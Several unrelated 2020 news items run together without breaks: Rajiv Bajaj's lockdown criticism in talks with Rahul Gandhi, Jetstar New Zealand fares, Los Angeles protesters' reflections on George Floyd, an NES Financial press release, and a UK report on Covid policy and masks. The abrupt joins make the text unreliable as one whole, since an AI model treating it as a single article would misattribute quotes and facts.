The BJP downplayed Bajaj's remarks with party's spokesperson on economic affairs Gopal Krishna Agarwal saying that Gandhi used the businessman as a "bouncing wall" for his ideas during the conversation in which the opposition leader did "most" of the talking.

"Everybody has a right to have an opinion but Rajiv Bajaj is not an expert on COVID-19 and how to deal with it," he said.

Taking a dig at the industrialist, BJP's Amit Malviya said Bajaj "hailed" Sweden's strategy of not imposing a lockdown to deal with the pandemic, even as the country's chief epidemiologist has admitted that this approach was a mistake, causing a high rate of fatality.

During the virtual interaction, Bajaj also wondered why India looked to the west and not the east to draft its pandemic response. "Unfortunately India not only looked west, it went to the wild west. I think we stayed more towards the impervious side", Bajaj said, adding that being an Asian country, Italy, France, Spain, UK and the US were not really the right benchmark for India in any sense.

Claiming that the porous lockdown ensured the virus still exists, he said,"it is waiting to hit you when you unlock it. So you have not solved that problem."

Airing concerns of the industry, Bajaj said India now needs to generate demand for which a stimulus is required for providing cash to people.

"We have to get the demand going again and we need some mood elevator. I do not understand why there is no strong initiative, even if it is for a period of six months to a year to strongly lift the mood of the people and stimulate demand," he said.

Bajaj has been vocal about the Central government's policies, alleging that its approach has been "piecemeal, arbitrary and erratic". He had also criticised the Government's announcement of Rs 20-lakh crore economic stimulus, saying it left Indians unimpressed and it missed the 'wow factor' as compared to others.

Global rating agency Moody's Investors Service earlier this week downgraded India to the lowest investment grade level and kept it on a negative watch, largely because the country faces a prolonged period of slower growth relative to its potential and rising debt levels.

India was already in the midst of a protracted economic slowdown before the virus hit. It's GDP grew by 4.2 per cent in 2019-20, the slowest pace in 11 years, and the rating agencies predict contraction in its GDP in this fiscal also.

Agarwal said the economy was bound to suffer even if there was no lockdown due to the pandemic's severity.

"Government had an option ---to go for large-scale fatalities...or going for a slowing down of economy. It went for protection of people. That was the priority," the BJP leader added.

Noting that he was warned and dissuaded from speaking with Gandhi, the industrialist said there are also those who do not want to speak because they cannot deal with the backlash that comes their way.

He also said in several countries, two thirds of the aid given by the government has gone to organisations and people as direct benefits, and cited instances of Japan and the US where up to USD 1,000 has been given to each person as support, not as stimulus.

Whereas in India, it has only been 10 percent, he said, adding that the opposition leader would be better placed to comment on why the government has not chosen to give directly in the hands of people.

During the 30-minute conversation with Gandhi, who has held a series of interactions with economists, experts, industrialists and others since the imposition of the lockdown on March 25, Bajaj described his experience of the period as "bittersweet".

On his part, Gandhi said,"It's quite surreal. I don't think anyone imagined that the world would be locked down in this way. I don't think even during the World Wars, the world was locked down. Even then, things were open. It's a unique and devastating sort of phenomena."

The Congress leader also noted that India's lockdown was such that "the disease is increasing after we are opening up".

Asked by Gandhi about an "atmosphere of fear" in the country, Bajaj said that in terms of being tolerant and sensitive, India needs to mend a couple of things.

"Nobody will invest unless he does so with enthusiasm and confidence...If 100 people are afraid to speak up, the first point is perhaps 90 of them anyway have something to hide. See we must also accept that in the last few years, towards, I would say UPA2 and NDA1, a lot of skeletons have come out of the cupboard also," he said.

"So businessmen are also not doodh ka dhula' (guiltless) and so many examples we have seen of that. My view is that a lot of people don't speak, unlike, if I may say so, somebody like my father, simply because perhaps they can't afford to speak," Bajaj said, in an apparent reference to his father Rahul Bajaj's comments in last December that the government was stifling criticism.

Gandhi also said that the government needs to show compassion and listen to its people.

"There are people right now, screaming in pain and the most obvious are manual labourers, daily wagers, farmers, small and medium businesses. But big businesses are also screaming in the pain, because they don't see a future," the Congress leader said.

Bajaj also referred to instances of individuals, including the old, being subjected to "humiliation" in the country for violation of lockdown rules.

"Where is the proportion in the way we are treating our own people. You talked about compassion. I'm talking about examples that I have seen with my own eyes here. I have seen senior citizens being caned for simply stepping out to get some fresh air," he added.
The battle for the Kiwi travel dollar is set to take off with Jetstar listing post-COVID-19 domestic airfares from as low as $34.

Although the airline hasn't officially announced its return to the New Zealand domestic market, its website is selling seats on flights between the major centres from July 1.

"We're monitoring demand on domestic New Zealand routes and working through the current New Zealand in-flight requirements, and will have an update soon," the airline told Newshub.
Community Reflections on Justice for George Floyd and the 2020 I Cant Breath Rebellion

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The City of Los Angeles hasnt dealt with this much commotion since the 1992 Los Angeles Riots when LAPD officers brutally beat Rodney King. Unfortunately, with white nationalist on the rise, more savage police misconduct is being reported in record breaking numbers throughout the United States. On the flip side, as the harshness of hate gains exposure the power of love is in an uproar to protect The People and the sanctity of justice.

We checked-in with Los Angeleno protestors to hear their thoughts and share in their first hand accounts when demanding justice for George Floyd. Since its difficult for people to rapidly respond in the center of compacted trauma, I asked community members to answer any of the following questions: As an observer or protest participant, Why was it important for you to participate in the #justiceforgeorgefloyed protest? How has the 2020 I Cant Breathe Rebellion impacted your life? What are you called to do? Or, Why do Black Lives Matter to you?

Sahara Ali Speakes, Actress/Spoken word Poet in Tarzana, CA

For me, as a black African-American female participant I want my future generation to know that I fought and I really want to fight for change. The biggest things Ive been telling my friends to do are the small things from supporting black artists, coffee shops to knowing who you vote for is more than just the president. All the small things like check-in on your own Black friends. Not just posting on social media where people share their stories and experiences without having to relate. Just listen to us and ask us questions and ask fellow races to do the same.

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Alisa Cabrera, Homeschool Mom in Encino, CA.

As a black person living in this country this has always been my experience. And Ive always been active, participating in protests and in organizing to help get people to vote and get involved. When I generally would speak out on these matters I would be meant by silence in my church community or the idea of this is sad but no involvement. Its disheartening to hear some of the criticism from people who are just quick to point out people who are rioting and looters and compare them with the peaceful protestors but have never been a part of the solution or attempt to really help in a concrete way. I saw a lot of people fighting to maintain peaceful protest. I did see people tagging but every single one of them were white. It was very strange. Very confusing and people were talking to them, even filming them, asking them to stop. And then the looters werent even really a part of the protest. They were camped out in front of the stores the whole time and just waited until the protesters moved in their direction and took advantage of the chaos. It was really eye-opening to see how quickly things turned ugly when it wasnt the protesters involved in the looting or vandalism but when you look on social media or even in mainstream media you may think differently.

Bernadette Speakes, Actor in Northridge, CA

I wanted to share some thoughts as I reflect on whats going on in our world right now. I went to Hollywood to protest with my whole family knowing its something that my mother did in the sixties. It made it all very surreal to see so many, know matter the race, creed or gender. We were all together respectful and passionate. Everyone played a part giving out water, snacks, some had materials to make signs. It reminded me that there is good in humanity and I broke down crying in the arms of my son. The conversation of race can either divide us or bring us together. Most times people dont want to engage in that conversation because they dont know what to say or they dont want to say the wrong thing or they just want to keep the peace which is really complete disengagement. The only way that the conversation will get easier is if we work to keep having it. White people, Black people. Black people have had this conversation not always because we want to but because we have too. And I encourage my white brothers and sisters to have enough humility to take a good look within themselves and stop trying to relate because it is not about that. Its about admitting to the possibility that they may have been silent or they didnt acknowledge their own white privilege, or they didnt bother to educate themselves or their children. If we arent doing any of those things, then we can not have a unified America. We all must continue to educate ourselves on the local level of whos running for office. We keep focusing on the president and yes thats important, but it is, what is going on locally that affects us directly and if we are being lazy and not doing our due diligence to find out whos running what, their record, what they stand for before we go off into the voting booth nothings going to change on that level. We need to find a way to teach the Next Generation.



Nourbese Flint, Policy Director for Black Women For Wellness, Echo Park

What to say about the George Floyd protest. I am profoundly disappointed by Los Angeles response, particularly Mayor Eric Garcetti. Its not just a national protest. Im a born and raised Los Angeleno through and through. I love the city, probably a little too much but I also know that the city doesnt love me as much as I love it. When we had an opportunity to respond to this movement and this moment with mental health professionals, community leaders, civic response, strategy to address and figure out how to get rid of racism in the Departments both in the police and other City departments we decided to respond with an army of police officers and actual military. Then put them on Los Angeles residents. This was a response devoid of humanity and understanding and pain. It just left me profoundly sad and worried. Knowing that our city and our state is going through a budget crisis and money that could have been used to put people in housing and food security and thinking about how we are actually going to get people Health Care. Now money is going to police officers and the National Guard. So, I would say our city chose wrong. Im just looking forward to how we can figure out how to hold our city council and Garcetti responsible for the complete blunder of this situation.

Mel Chude, Actor Downtown LA

Going out to join the crowd, I find that the difference this time around is that theres other races and cultures a part of the movement. My experience is you know, there may have been a hundred people actually standing up for the first time and maybe 10 were black people because Black people are home due to COVID-19 and in the face of protest, police usually attack the Black people. As a peaceful protester, I got shot twice by a rubber bullet. One in the neck and one on my leg leaving a five inch open gash. But its not going to deter me. Its not going to deter anybody that I know. We must fight. We must organize. There are so many solutions. President Barack Obama laid out a great deal of them. As far as the people on the ground just having more people come out, you know, a peaceful protest late in the evening the police do agitate. There were agitators in the crowd and none of them are of our kind. As a black man, I just felt like were fighting for Black Culture, our race as a people and we must be out here on the front lines. We can not allow other people to co-opt our movement. Knowing as a black man that I am stepping up for whats right and for my brothers and sisters that have been lost in the sacrifice of the struggle. Even after being shot twice and all the blood, it is better to be alive from a rubber bullet then die like brother George did, or Ahmaud Arbery or Brianna Taylor. Any day any time, I want to be here for the fight and represent my people. God Bless.

Charity Chancellor Kohl, President of the Black Los Angeles Young Democrats

Dr. King said, A riot is the language of the unheard. The global uprisings we are seeing are for George Floyd, Breonna Taylor, Ahmaud Arbery, and all the Black people who were taken away as a result of racism and white supremacy. We speak their names.  Denae Joseph

These protests are the most righteous action anybody could participate in. Calling for justice and demanding change is a daily commitment we should all have. Now is the time for policy change and inspiring leadership.- Isaac Bryan

Black lives matter isnt just a hashtag for police brutality, it also means Black employment, Black mental health, Black maternal health, Black prosperity, Black security and educating Black minds. All facets of our lives matter and Black is not criminal. -Nicole Walker

Even in the middle of a pandemic that disproportionately impacts Black people throughout the county, we once again find ourselves victims of state sanctioned violence. Black people are facing two pandemics; COVID -19 and Racism.- Jelani Hendrix

Racism is and has been a devastating public health issue, especially here in LA. If our leaders and elected officials dont get that and are unwilling to appropriately respond to this crisis, then they too are on the side of our oppressors.

KAREEM GRIMES, Actor

People ask me how I feel about the Riots. I ask them how do you feel about White Cops Killing innocent black people?

This is a Culmination of 1619 -2020 Black People are Tired Tired Tired. People talking about looting & Rioting. But they quickly forget about Black Wall St. Bombing on American Soil By Americants on Americans

Karyn Chung, In solidarity

My son, Nathan, and I joined the Speakes family at the Hollywood protest. When my grandchildren ask me what did you do? Where were you?, I want this to be part of the story. But this is just a part, Im stepping in to seek change  Real Change, that comes from voting, policy changes, and whatever else I can be part of that brings change. And my sons will be a part of the learning because more is caught than taught.

John Wood Jr., Writer and Spokesperson for a non-profit in South Los Angeles

I have been moved and saddened by aspects of the protests that we have seen in the country in the city. Ive been inspired by the people who have acted with the courage of their convictions to make their voices heard non-violently and who have stood with dignity to speak the truth. Ive been saddened by those people who have taken a course of violence and who have let either opportunism or bitterness lead them to act in a way that does not honor the larger cause of human dignity and equality. The larger story we are seeing unfold is cries for justice leading to creative expressions of social improvement and social reconciliation off. I think that as we move past the exceptional episodes of violence, we will come to discover a general pattern of transcendence because I think that the spirit of Justice moves in non-violence. And I think that the philosophy is one that will take root in our actions, in our Spirits, in our hearts. I think that will allow us to move this country to a better place where the tragedy is that we are responding to do not happen, do not characterize life is we live in today. Its a long struggle, but I think its one that weve been engaged in for generations and one that still gives us reason to be hopeful that we can make this a better country and a better world. The last thing, Ill say is that Im happy to see that in Los Angeles at least people arent tearing down and damaging our own black community. Sometimes its been the case in the past. Im happy that we are respecting ourselves and committing ourselves to the work of Justice.

Thank You Los Angeles for taking a stand for Love, Justice and Freedom. #BlackLivesMatter #justiceforgeorgefloyd #icantbreathe
Being named to the San Francisco Business Times Largest Fintech Companies in the Bay Area list for the second year in a row is a great honor and continues to demonstrate NES Financials commitment to providing scalable and innovative solutions for our clients.

Specialty financial administrator NES Financial, a JTC Group Company (LON: JTC), was recognized for the second year in the row in the Largest Fintech Companies in the Bay Area list.

Being named to the San Francisco Business Times Largest Fintech Companies in the Bay Area list for the second year in a row is a great honor and continues to demonstrate NES Financials commitment to providing scalable and innovative solutions for our clients, said Michael Halloran, CEO of JTC Groups ICS USA region. The companies on this years list represent an incredible growing list of whos who in the fintech industry.

NES Financial is a financial technology company that provides industry-leading specialty financial administration, including fund administration and loan administration. The company is the market-leading administrator in the rapidly growing Opportunity Zone marketplace, the dominant infrastructure provider to the heavily regulated EB-5 visa sector, and the nations largest independent provider of 1031 tax deferred exchange services to private equity, commercial real estate, and Fortune 1000 clientele.

Headquartered in San Jose since 2005 and with major operations in the Boston area, the company is recognized for its leadership in best practices and transactional security across the sectors it serves. As a result, company management is frequently sought out as media contributors and presenters throughout the country at events such as SALT, Novogradac, and IIUSA, while also hosting informational webinars featuring a broad range of industry experts and topics.

This past April, NES Financial was acquired by JTC Group, a publicly traded multi-jurisdictional provider of fund, corporate and private client services.

The San Francisco Business Times Financial Technology list includes companies with offices in the Greater Bay Area, which is defined as Alameda, Contra Costa, Marin, Napa, San Francisco, San Mateo, Santa Clara, Solano and Sonoma counties. The list is ranked by total number of Bay Area employees and will be included in the annual Book of Lists, which serves as an essential handbook of market leaders.

About NES Financial

NES Financial, a JTC Group company, is a multi-jurisdictional provider of fund, corporate and private client services. The company administers more than $130 billion in assets and employs more than 900 people worldwide. A leader in specialty financial administration, NES Financial serves markets characterized by high administrative complexity, elevated transaction security needs and challenging compliance requirements.

As the North American division of JTC, NES Financial is the leading provider of third-party administrative solutions to US impact investment sectors, including Opportunity Zones and EB-5 visa funding, as well as to US private equity and 1031 exchanges. The companys technology-driven solutions streamline new best practices in these markets by simplifying specialized financial transactions, reducing back-office overhead, curtailing fraud and abuse, and ensuring security, transparency and regulatory compliance during each step of an investments life cycle.

For more information, visit nesfinancial.com.
Official Covid-19 death toll has reached 40,261 - as R-rate reaches danger level in North West and South West

A mini-budget is expected to be announced for July - including tax cuts to fuel spending and investment

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Restaurants, pubs and cafes are preparing for an outdoor-dining revolution after Boris Johnson's 'Great Recovery Bill' promises to fast-track requests for tables and chairs in the street.

The Prime Minister has drawn up the Bill to slash red tape and help get the economy moving again, and ministers have been told to submit ideas for reforms that would allow firms to adapt to the upheaval caused by the coronavirus pandemic.

Government officials are also being asked to find ways of ensuring essential services can operate while social distancing remains in place.

Some of the red tape that ministers will target can be ditched without the need for primary legislation. They are already considering scrapping local authority fees for cafes and restaurants that want to put tables on the pavement.

Ministers also want to make it easier for pubs to reconfigure so they can serve customers outside, and planning restrictions on the high street could be simplified so retail units can more easily change between shops, retail and residential uses.

The proposals could include enabling shops to stay open all day on a Sunday by suspending Sunday trading laws for a year, according to The Times. Cafes and pubs could be given fast-track approval to serve food and drink outside.

The plans would be rolled together in a legislative agenda provisionally entitled the Great Recovery Bill. It will sit alongside a mini-budget, pencilled in for July, which is expected to include tax cuts to fuel consumer spending and business investment.

Chancellor Rishi Sunak, who is under pressure to temporarily lower VAT and stamp duty, is considering a national insurance holiday for employers to boost jobs.

As the official Covid-19 death toll passed 40,000 today, the Government said they were still aiming to ease a swathes of lockdown restrictions on businesses on June 15, with non-essential retail being allowed to open back up again.

Mr Johnsons shake-up could include major reforms to the planning system to revive his infrastructure revolution, which has stalled during the lockdown. Ministers believe new housing, roads and broadband will be central to any recovery.

Plans to create a network of freeports, where normal tax and customs rules do not apply, are also set to be fast-tracked.

The Prime Ministers plan to revive the economy comes as:

Health Secretary Matt Hancock said all hospital patients, visitors and staff will have to wear masks from June 15, as it was revealed coronavirus cases fell by 30 per cent last week to 5,600 a day;

He also urged people to stay away from George Floyd/Black Lives Matter protests across the country this weekend to avoid spreading the virus;

The UK's official coronavirus death toll yesterday surpassed 40,000 as health chiefs announced 357 more Brits lost their lives to the disease

Scientists suggested the R rate has now risen to above one in the North West and South West of England

Pharmaceutical giant AstraZeneca revealed it is already manufacturing Oxford University's experimental vaccine in India, the UK and Europe amid plans to distribute 2billion doses as early as September if it works;

Fears of a second wave were sparked after Iran became the first country in the world to report another cluster of coronavirus infections after easing its lockdown;

British Airways threatened legal action against the Government over its 14-day quarantine plan for travellers entering the UK;

Half of Britons are shunning Chinese products and two-thirds would like the government to impose more tariffs on imports from the communist state, according to a poll;

The anti-malarial drug hailed as a miracle virus cure by Donald Trump is useless, a British study concluded;

TV presenter Kate Garraway broke down in tears as she revealed critically-ill husband Derek Draper thanked her for 'saving his life' before he slipped into a coma during his 10-week battle with coronavirus.

A waiter wearing a face mask serves at Cafe de Flore in Paris, France, on June 2 as restaurants and cafes reopen following the coronavirus disease outbreak. Restaurants, pubs and cafes in the UK are preparing for an outdoor-dining revolution

People sit on the terrace of a cafe in Paris on June 2. Paris City Hall authorised the reopening of outside seating areas but indoor tables remain closed to customers until at least June 22

Boris Johnson is drawing up a Great Recovery Bill to slash red tape and help get the economy moving again, and is asking Ministers to submit ideas that will prop up firms following the pandemic's upheaval of the economy

A Government source said: Departments are being asked to identify the things they need to keep services going, but also the changes that would free up the economy and get business moving again once we start to open up.

'The idea is to then put them all into one big piece of legislation that helps get the recovery going.

Some of the changes being eyed by the Government will require primary legislation and have prompted the idea of a wide-ranging new law.

The last major change came in 1994 with the Sunday Trading Act, prior to which it was illegal to open on a Sunday under the Shops Act 1950.

The Department for Education is assessing whether further legal changes may be needed to allow a full return to school in September, when social distancing is expected to make normal classes difficult.

And the Ministry of Justice is considering whether to allow juries to sit with fewer than 12 members in order to allow for social distancing in court.

The Prime Minister is calling for a green recovery and new investment is expected in electric vehicles and battery technology to help the ailing car industry.

Government sources have indicated that despite the dire impact of the lockdown on the public finances, which could see the deficit soar to more than 300billion this year, Mr Sunak is keen to cut taxes.

One idea is a national insurance holiday for employers, which experts believe could save hundreds of thousands of jobs and stimulate investment.

But Mr Sunak is also under pressure to cut personal taxes to revive collapsed consumer demand and directly put money into the pockets of families.

Former Labour and Tory chancellors Lord Darling and Philip Hammond this week backed calls for a temporary VAT cut.

Mr Hammond said there was no economic logic to increasing taxes in the short term, adding: The question is as we move more deeply into the recovery phase, there may be a need for some short-term fiscal stimulus to the economy and that could be delivered most obviously through tax cuts.

Today, the UK's official coronavirus death toll today surpassed 40,000 as leading scientists suggested the R rate has now risen to above the dreaded number of one in two regions of England.

Department of Health data shows 343 deaths occurred in England, followed by nine in Scotland, four in Wales and one in Northern Ireland - taking the official Covid-19 death toll to 40,261.

But the true number of coronavirus victims is known to be thousands higher. The Government only includes laboratory-confirmed cases in its daily update, meaning patients who are suspected to have died but never got tested for the infection aren't included.

It comes as separate estimates produced by experts at Public Health England and Cambridge University today suggested the R-rate - the average number of people each Covid-19 patient infects - is above the danger level of one in the North West and South West. It must stay below one or Britain will face another crisis.

The data - fed into No 10's scientific panel SAGE - suggested the R rate was falling before lockdown was imposed and has been creeping back up since the darkest days of the outbreak at the start of April. SAGE said the overall rate remained between 0.7 and 0.9 across the UK as a whole but admitted it may be a little higher in England.

Data from Public Health England showed that London has the largest proportion of its population already infected with the coronavirus, while the fewest people were infected in the South West of England

Face masks will be compulsory for ALL hospital staff and visitors and outpatients must wear homemade coverings from June 15

ByDavid Wilcock, Whitehall Correspondent For Mailonline

Face coverings will become compulsory in hospitals for all staff, visitors and outpatients from June 15, Matt Hancock revealed today.

Medical and other staff will have to wear surgical masks at all times, the Health Secretary announced tonight.

Visitors and outpatients attending appointments will not be allowed in without wearing the sort of face coverings that can be made at home, he also told tonight's Downing Street press conference.

The announcement came after a similar move yesterday, when it was revealed face coverings would be compulsory on public transport from the same day.

Mr Hancock said the move was required to protect all hospital workers as NHS units gradually reopen their doors for procedures that were delayed by the coronavirus response.

'As the NHS reopens right across the country, it's critically important to stop the spread amongst staff, patients and visitors too,' he said.

Mr Hancock also revealed he had donated blood plasma to an antibody trial in London today (pictured)

Hydroxychloroquine does NOT treat Covid-19: Biggest study into the Donald Trump-backed anti-malaria drug is ended with 'immediate effect' after researchers found it made no difference Hydroxychloroquine does not treat coronavirus, according to the world's biggest trial of the anti-malaria drug backed by US President Donald Trump. Oxford University scientists pulled the controversial from the RECOVERY trial today after results showed it had no benefit on patients hospitalised with the virus. A quarter of NHS patients given hydroxychloroquine died from Covid-19, compared to 23.5 per cent who were not prescribed the drug. The scientists running the trial, which has recruited more than 1,500 patients from around 170 UK hospitals, said the results were 'pretty compelling', adding: 'This isn't a treatment that works.' Professor Martin Landray, lead author of the study, added: 'If you're admitted to hospital with Covid  you, your mother or anyone else - hydroxychloroquine is not the right treatment. It doesn't work.' He called for doctors around the world to stop using the drug, which can cause a slew of nasty side effects including heart arrhythmias, headaches and vomiting. But Professor Landray said the results do not necessarily mean the tablets cannot prevent people from catching Covid-19 in the first place, which several studies are still investigating. Early results on hydroxychloroquine from the RECOVERY trial were not supposed to released until July. But the study's chief investigators said they felt compelled to release the data and set the record straight on the drug, which has been at the centre of furious debate. US President Donald Trump hailed it as a wonder drug at the start of the crisis and admitted to taking it himself to ward off the infection, while countries like China and India regularly prescribe it to Covid-19 patients. It comes after medical journal The Lancet last night retracted a controversial study that found hydroxychloroquine raised the risk of death in Covid patients, which led to trials being halted around the world. Advertisement

'So today we're setting out that all hospital visitors and outpatients will need to wear face coverings.

'One of the things that we've learnt is that those in hospital, those who are working in hospital, are more likely to catch coronavirus whether they work in a clinical setting or not.

'And so to offer even greater protection we're also providing new guidance for NHS staff in England which will come into force again on June 15 and all hospital staff will be required to wear type one or two surgical masks.

'And this will cover all staff working in hospital, it will apply at all times - not just when they are doing life-saving work on the frontline - and it will apply in all areas, except those areas designated as Covid-secure workplaces.'

It came as newly updated World Health Organisation (WHO) advice advised people to wear homemade fabric masks in public where social distancing is not possible.

The WHO previously stressed there was no evidence that wearing a mask - whether medical or other types - by healthy people in the wider community could prevent them from infection with respiratory viruses, including Covid-19.

However, it said 'evolving' new science now pointed to the use of medical-grade masks in hospital settings - even for those not treating coronavirus patients - as well as similar protection worn by people aged 60 or over, or with underlying health conditions, when outside of their home where social distancing was not possible.

Mr Hancock said the Government was upgrading the guidance to ensure that 'even as the virus comes under control' hospitals are a place of 'care and of safety'.

'We've also strengthened infection control in care homes and we're working with the social care sector on how this approach can apply appropriately in social care too.

'It's about protecting the NHS and social care, which means protecting our colleagues who work in the NHS and in social care.'

Earlier today a senior Government minister rejected calls to force shoppers to wear face coverings - as medics demanded that strict rules forcing their use on public transport be brought in immediately.

Transport Secretary Grant Shapps, who last night revealed that commuters face 80 for not wearing them from June 15, said this morning they were not required in other settings because people spend little time in close proximity.

It came after the head of the British Medical Association, Dr Chaand Nagpaul, said the compulsory wearing of face coverings should be introduced in 'all areas' where social distancing is not possible, and should start immediately.

Only a handful of Tube users wore masks at rush hour today as Dr Nagpaul warned delaying the 80 fines will only make the spread of coronavirus worse.

Commuters again packed on to the London Underground and were forced to break social distancing rules on the Jubilee Line, which runs through the heart of the capital.

The BMA head said face covers 'should not be restricted to public transport', raising the prospect of masks also becoming compulsory in shops, restaurants and pubs.

The Government has previously said that it plans for non-essential retailers to reopen from June 15.

But Mr Shapps said High Street browsing was 'clearly not the same' as being on a bus or train for a sustained period of time.

He told the BBC: 'I think the big difference is in a shop you may well pass somebody and the guidance acknowledges you might be near somebody for a short period of time but then you are going to move on.

'On public transport you could be next to somebody for 10, 20 minutes, 30 minutes so there is a much larger chance of being close to somebody for a longer period of time plus the guidance for shops is don't let the shop become overcrowded and that is something you can control with queues outside the shops, we are all used to them now, two metre queues outside.'

A testing debacle, a U-turn on face masks and brutal rows over PPE shortages and lockdown: How Britain's approach to tackling coronavirus crisis has been behind rest of the world at almost EVERY step

Boris Johnson is facing growing questions over the UK's response to the coronavirus pandemic with Britain's official death toll now approaching 40,000.

It is now 18 weeks since the first cases of coronavirus were confirmed in the UK on January 31.

Since then the Government has been repeatedly rocked by rows and blunders as critics continually asked why ministers were taking a different approach to the outbreak compared to other countries.

Downing Street has now said the UK is beginning the 'recovery phase' of the crisis but with a public inquiry inevitable, there is growing scrutiny of the action taken by the Government.

A No10 spokesperson defended the Government's record on responding to Covid-19 by saying: 'This is an unprecedented global pandemic and we have taken the right steps at the right time to combat it.

'At every stage, the government has been guided by the advice of experts from SAGE and its sub-committees  advice which has now been published on gov.uk.

'Our response has ensured that the NHS has capacity for everyone who needs it and that it can provide the best possible care for people who become ill.'

Below is a breakdown of how the UK responded to the spread of the disease and how its approach has differed from other countries which have fared better in tackling it.

Boris Johnson's personal approval has dived over by 40 points to turn negative in less than two months. His net rating was plus 38 in mid-April, but by this week it was minus five

Government advisers warned in February that PHE's contact tracing capacity would be 'exhausted' in TWO WEEKS Public Health England only had enough contact-tracing capacity to last two weeks before it became 'exhausted', scientists warned in February. Experts said capacity should be increased immediately but admitted it could only be expanded about 10-fold, to contact 8,000 people per day, which still wouldn't be enough. A batch of scientific papers submitted to the Government's SAGE committee were published today and reveal more of what officials were being told in the early stages of the UK's epidemic. Researchers said there was 'no evidence' that stopping shaking hands would reduce transmission of the virus, shortly after Prime Minister Boris Johnson was ridiculed for continuing to use the greeting. Advertisement

The UK's initial response to the Wuhan outbreak

Coronavirus first appeared in the Chinese city of Wuhan in late December with the outbreak quickly spiralling in just a matter of weeks.

Beijing took the unprecedented decision to put the city into a strict state of lockdown on January 23.

World Health Organisation officials have said that all major governments were made aware by the end of January of how serious the situation could become.

But the UK Government's focus was largely on Britain's long-awaited departure from the European Union which finally took place on January 31 after years of bitter political wrangling.

Mr Johnson delivered a major speech in Greenwich on February 3 in which he set out his vision for post-Brexit Britain.

But coronavirus had started to creep into the political mainstream as Mr Johnson made clear his view on Wuhan-style lockdowns.

He said: 'We are starting to hear some bizarre autarkic rhetoric, when barriers are going up, and when there is a risk that new diseases such as coronavirus will trigger a panic and a desire for market segregation that go beyond what is medically rational to the point of doing real and unnecessary economic damage...'

No10 told MailOnline that the Government started to act 'as soon as it was alerted to a potential outbreak', with initial work starting before the World Health Organisation declared a global pandemic on 11 March.

They added: 'Mr Hancock was first alerted to Covid 19 on 3 January and spoke to Departmental officials on 6 Jan before receiving written advice from the UK Health Security Team.

'He brought the issue to the attention of the Prime Minister and they discussed Covid 19 on 7 January. The Health Secretary continued to update the Prime Minister on a regular basis.

'The governments scientific advisory groups started to meet in mid-January. Sage met on 22 January but the first New and Emerging Respiratory Virus Threats Advisory Group NERVTAG meeting was held on 13 January.

'The Health Secretary instituted daily meetings to grip the emerging threat. We have taken the right steps at the right time guided by the scientific evidence at all times.'

The Wuhan airlift

As soon as the Chinese city was put into a state of lockdown the UK government faced questions about bringing back British citizens.

Both the US and Japan managed to airlift some of their citizens from the city on January 29.

But the first charter flight heading to the UK did not leave Wuhan until January 31 after being delayed due to China failing to grant permission to take off.

Meanwhile, people due to get onto the flight were only given five hours notice to get to the plane despite the city being in lockdown.

When the 83 British evacuees arrived back in the UK at RAF Brize Norton they were then taken by bus to a facility at Arrowe Park Hospital, Wirral.

But the Government faced a backlash after the bus drivers tasked with transporting the people to the site 172 miles away were not provided with protective equipment.

It was not until February 4 that the Foreign Office advised all Britons to leave China if they were able to.

Downing St responded by saying that they used enhanced monitoring at UK border points to identify symptomatic travellers from high risk areas early and safely triage them into the health system.

'This was applied to those returning from Wuhan on 22 January and broadened to the whole of China on 25 January; Japan on 8 February, Iran on 25 February, Northern Italy on 4 March and the whole of Italy on 5 March.

'Once there was significant transmission within the UK, the scientific advice was that border restrictions would have a very marginal impact on the number of cases of coronavirus within the UK, as at that point they contributed a tiny proportion of the number of new infections.

'In the minutes of the SAGE meeting of the 23rd March, SAGE reiterates its previous advice that closing borders would have a negligible effect on the spread of the virus.'

Hancock walks the walk as he urges public to follow his example and donate blood plasma Matt Hancock encouraged people who had recovered from coronavirus to donate their blood plasma - as he revealed he had made a donation. He said: 'If you have had the virus, then you can help make a difference. Because by donating your plasma from your blood that has your antibodies in it, then you can help somebody who is currently suffering in hospital with coronavirus. 'I did this earlier today, I gave my antibodies, and the process is simple, it's straightforward. 'If you have had coronavirus, if you go to the NHS blood and transplant website... then you too can donate your antibodies and help protect somebody who is currently in hospital with coronavirus. 'And I'd encourage anybody who can do that to step forward.' Advertisement

Abandoning routine testing

During the early weeks of the outbreak the UK was routinely testing people with coronavirus symptoms and attempting to trace their contacts to stop the spread of the disease.

But the Government abandoned routine testing on March 12 as Mr Johnson told the nation that anyone with symptoms of coronavirus should self-isolate at home for a week.

The decision to shift away from testing was blamed on a lack of domestic capacity while Government experts also suggested checks were no longer an 'appropriate intervention' because of the scale of the spread of the disease.

However, as the UK outbreak surged, the Government was forced into a U-turn as Health Secretary Matt Hancock announced on April 2 a new 'five pillar' plan to boost testing capacity.

The UK's decision to ditch testing seemingly went against World Health Organisation advice, with the body having said that the key to fighting the disease was to 'test, test, test'.

Effective test and trace regimes have been critical to the success of other countries like South Korea and Germany in keeping their death rates much lower than the UK.

The decision to abandon routine testing is now seen by many experts as one of the main reasons why the UK has one of the worst death tolls in the world.

No10 denied that contact tracing had ever been abandoned, saying it 'has been used throughout the COVID19 response'.

'At the start of the outbreak, tracing the contacts of every case helped to delay community transmission and bought time for the NHS and country to prepare, ultimately helping save lives,' said a spokesperson.

'When we moved from the initial containment phase, the focus switched to using stay at home measures for everyone other than essential workers to stop the spread of the virus.

'Contact tracing did not stop, but it focused on specific settings such as care homes or prisons where there was greatest risk of local outbreaks.

'As SAGE set out in the minutes of its 13 March meeting this will increase the pace of testing (and delivery of results) for intensive care units, hospital admissions, targeted contact tracing for suspected clusters of cases and healthcare workers.

'As we move into the next phase of our response, where incidence of the virus is lower and lockdown measures start to be eased, it now needs to play a much greater role. We have successfully launched the NHS Test and Trace, a service to help identify, contain and control coronavirus, reduce the spread of the virus and save lives.

'Backed by the rapid expansion of testing across the country and 25,000 dedicated contact tracers, we are now able to offer anyone with symptoms of the virus a test, and trace the contacts of those testing positive to prevent further transmission.

'Those with symptoms and their close contacts must follow advice to self-isolate, to protect others from the virus and to allow the safe and gradual lifting of lockdown.

'Social distancing has helped us to reduce the reproduction rate of the virus (R), meaning it is now possible to test every suspected case and, if they test positive, trace any close recent contacts they have to stop the spread of the virus further.'

Inadequate testing capacity

The dramatic shift in approach on testing was best illustrated on April 2 as Mr Hancock set a target of hitting 100,000 daily tests carried out by the end of the month.

When the announcement was made approximately 10,000 tests were being done every day with the Government then scrambling in the weeks that followed to ramp up capacity.

In contrast, South Korea was capable of testing 20,000 people a day by the start of March while Germany was managing 15,000 by the middle of March.

